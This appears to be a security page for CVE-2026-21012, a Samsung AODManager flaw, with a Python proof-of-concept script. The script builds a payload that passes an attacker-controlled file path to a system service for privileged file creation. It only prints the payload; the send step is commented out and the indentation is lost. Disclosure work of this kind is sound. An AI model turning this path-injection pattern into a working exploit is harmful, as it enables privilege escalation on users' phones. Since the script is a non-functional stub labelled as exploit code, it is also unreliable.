Samsung Mobile Devices with AODManager prior to SMR Apr-2026 Release 1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os
# Proof of Concept for CVE-2026-21012
# This script simulates the vulnerability where a local low-privileged user
# triggers a file creation with system privileges via AODManager.
MALICIOUS_PATH = "/data/system/poc_file.txt"
def trigger_exploit():
print("[*] CVE-2026-21012 PoC Trigger")
print(f"[*] Attempting to create file: {MALICIOUS_PATH}")
# In a real exploitation scenario, the attacker would interact with the
# AODManager service interface (e.g., via AIDL or Intent) that accepts
# a filename parameter without proper sanitization.
# Simulating the payload construction
payload = {
"action": "update_config",
"filename": MALICIOUS_PATH, # Controlled by attacker
"data": "Exploited by CVE-2026-21012"
}
print("[+] Payload constructed:", payload)
# send_payload_to_aodmanager(payload)
print("[*] If vulnerable, file is created with System privileges.")
if __name__ == "__main__":
trigger_exploit()